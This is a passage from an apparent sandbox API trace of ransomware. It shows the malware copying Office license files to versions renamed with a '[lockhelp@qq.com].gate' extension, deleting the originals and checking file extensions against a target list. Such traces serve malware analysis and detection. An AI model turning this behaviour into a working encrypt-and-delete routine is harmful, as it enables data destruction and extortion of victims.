liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.691] SetEndOfFile (hFile=0x4c0) returned 1 [0315.693] CloseHandle (hObject=0x4c0) returned 1 [0315.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1 [0315.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0315.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0315.694] lstrlenW (lpString=".doc") returned 4 [0315.694] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.694] lstrlenW (lpString=".docx") returned 5 [0315.694] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.694] lstrlenW (lpString=".pdf") returned 4 [0315.694] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.694] lstrlenW (lpString=".xls") returned 4 [0315.694] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.694] lstrlenW (lpString=".xlsx") returned 5 [0315.694] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.694] lstrlenW (lpString=".ppt") returned 4 [0315.694] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0315.694] lstrlenW (lpString=".zip") returned 4 [0315.694] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.694] lstrlenW (lpString=".rar") returned 4 [0315.694] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.694] lstrlenW (lpString=".bz2") returned 4 [0315.694] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.695] lstrlenW (lpString=".7z") returned 3 [0315.695] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0315.695] lstrlenW (lpString=".dbf") returned 4 [0315.695] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0315.695] lstrlenW (lpString=".1cd") returned 4 [0315.695] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0315.695] lstrlenW (lpString=".jpg") returned 4 [0315.695] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.695] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11139) returned 1 [0315.695] CloseHandle (hObject=0x4c0) returned 1 [0315.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0315.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0315.696] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.696] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0315.697] GetLastError () returned 0x0 [0315.697] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2b83, lpOverlapped=0x0) returned 1 [0315.846] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2b90, lpOverlapped=0x0) returned 1 [0315.847] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.847] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x100, lpOverlapped=0x0) returned 1 [0315.847] SetEndOfFile (hFile=0x4b8) returned 1 [0315.847] CloseHandle (hObject=0x4b8) returned 1 [0315.847] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.847] SetEndOfFile (hFile=0x4c0) returned 1 [0315.850] CloseHandle (hObject=0x4c0) returned 1 [0315.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1 [0315.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0315.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0315.851] lstrlenW (lpString=".doc") returned 4 [0315.851] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.851] lstrlenW (lpString=".docx") returned 5 [0315.851] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.851] lstrlenW (lpString=".pdf") returned 4 [0315.851] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.851] lstrlenW (lpString=".xls") returned 4 [0315.851] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.851] lstrlenW (lpString=".xlsx") returned 5 [0315.851] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.851] lstrlenW (lpString=".ppt") returned 4 [0315.851] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0315.851] lstrlenW (lpString=".zip") returned 4 [0315.851] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.851] lstrlenW (lpString=".rar") returned 4 [0315.851] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.851] lstrlenW (lpString=".bz2") returned 4 [0315.851] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.851] lstrlenW (lpString=".7z") returned 3 [0315.851] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0315.851] lstrlenW (lpString=".dbf") returned 4 [0315.851] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0315.852] lstrlenW (lpString=".1cd") returned 4 [0315.852] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0315.852] lstrlenW (lpString=".jpg") returned 4 [0315.852] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.852] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=10619) returned 1 [0315.852] CloseHandle (hObject=0x4c0) returned 1 [0315.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0315.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0315.853] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.853] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0315.853] GetLastError () returned 0x0 [0315.853] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x297b, lpOverlapped=0x0) returned 1 [0315.912] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2980, lpOverlapped=0x0) returned 1 [0315.913] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.913] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xfe, lpOverlapped=0x0) returned 1 [0315.913] SetEndOfFile (hFile=0x4b8) returned 1 [0315.913] CloseHandle (hObject=0x4b8) returned 1 [0315.913] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.913] SetEndOfFile (hFile=0x4c0) returned 1 [0315.915] CloseHandle (hObject=0x4c0) returned 1 [0315.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1 [0315.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0315.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0315.917] lstrlenW (lpString=".doc") returned 4 [0315.917] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.917] lstrlenW (lpString=".docx") returned 5 [0315.917] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.917] lstrlenW (lpString=".pdf") returned 4 [0315.917] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.917] lstrlenW (lpString=".xls") returned 4 [0315.917] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.917] lstrlenW (lpString=".xlsx") returned 5 [0315.917] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.917] lstrlenW (lpString=".ppt") returned 4 [0315.917] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0315.917] lstrlenW (lpString=".zip") returned 4 [0315.917] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.917] lstrlenW (lpString=".rar") returned 4 [0315.917] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.917] lstrlenW (lpString=".bz2") returned 4 [0315.917] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.917] lstrlenW (lpString=".7z") returned 3 [0315.917] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0315.917] lstrlenW (lpString=".dbf") returned 4 [0315.917] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0315.917] lstrlenW (lpString=".1cd") returned 4 [0315.918] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0315.918] lstrlenW (lpString=".jpg") returned 4 [0315.918] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.918] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6795) returned 1 [0315.918] CloseHandle (hObject=0x4c0) returned 1 [0315.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0315.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0315.919] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.919] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0315.919] GetLastError () returned 0x0 [0315.919] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0315.978] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1a90, lpOverlapped=0x0) returned 1 [0315.981] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.981] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x100, lpOverlapped=0x0) returned 1 [0315.981] SetEndOfFile (hFile=0x4b8) returned 1 [0315.984] CloseHandle (hObject=0x4b8) returned 1 [0315.987] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.987] SetEndOfFile (hFile=0x4c0) returned 1 [0315.990] CloseHandle (hObject=0x4c0) returned 1 [0315.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1 [0316.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0316.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0316.016] lstrlenW (lpString=".doc") returned 4 [0316.016] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.016] lstrlenW (lpString=".docx") returned 5 [0316.016] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.017] lstrlenW (lpString=".pdf") returned 4 [0316.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.017] lstrlenW (lpString=".xls") returned 4 [0316.017] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.017] lstrlenW (lpString=".xlsx") returned 5 [0316.017] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.017] lstrlenW (lpString=".ppt") returned 4 [0316.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0316.017] lstrlenW (lpString=".zip") returned 4 [0316.017] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.017] lstrlenW (lpString=".rar") returned 4 [0316.017] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.017] lstrlenW (lpString=".bz2") returned 4 [0316.017] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.017] lstrlenW (lpString=".7z") returned 3 [0316.017] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0316.017] lstrlenW (lpString=".dbf") returned 4 [0316.017] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0316.017] lstrlenW (lpString=".1cd") returned 4 [0316.017] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0316.017] lstrlenW (lpString=".jpg") returned 4 [0316.017] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.017] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=22224) returned 1 [0316.018] CloseHandle (hObject=0x50c) returned 1 [0316.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0316.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0316.018] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.018] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0316.019] GetLastError () returned 0x0 [0316.019] ReadFile (in: hFile=0x50c, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x56d0, lpOverlapped=0x0) returned 1 [0316.086] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x56e0, lpOverlapped=0x0) returned 1 [0316.087] ReadFile (in: hFile=0x50c, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.087] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x12a, lpOverlapped=0x0) returned 1 [0316.087] SetEndOfFile (hFile=0x414) returned 1 [0316.087] CloseHandle (hObject=0x414) returned 1 [0316.087] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.087] SetEndOfFile (hFile=0x50c) returned 1 [0316.108] CloseHandle (hObject=0x50c) returned 1 [0316.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0316.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0316.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0316.142] lstrlenW (lpString=".doc") returned 4 [0316.142] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.142] lstrlenW (lpString=".docx") returned 5 [0316.142] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.142] lstrlenW (lpString=".pdf") returned 4 [0316.142] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.142] lstrlenW (lpString=".xls") returned 4 [0316.142] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.142] lstrlenW (lpString=".xlsx") returned 5 [0316.142] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.142] lstrlenW (lpString=".ppt") returned 4 [0316.142] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0316.142] lstrlenW (lpString=".zip") returned 4 [0316.142] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.142] lstrlenW (lpString=".rar") returned 4 [0316.143] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.143] lstrlenW (lpString=".bz2") returned 4 [0316.143] lstrcmpiW 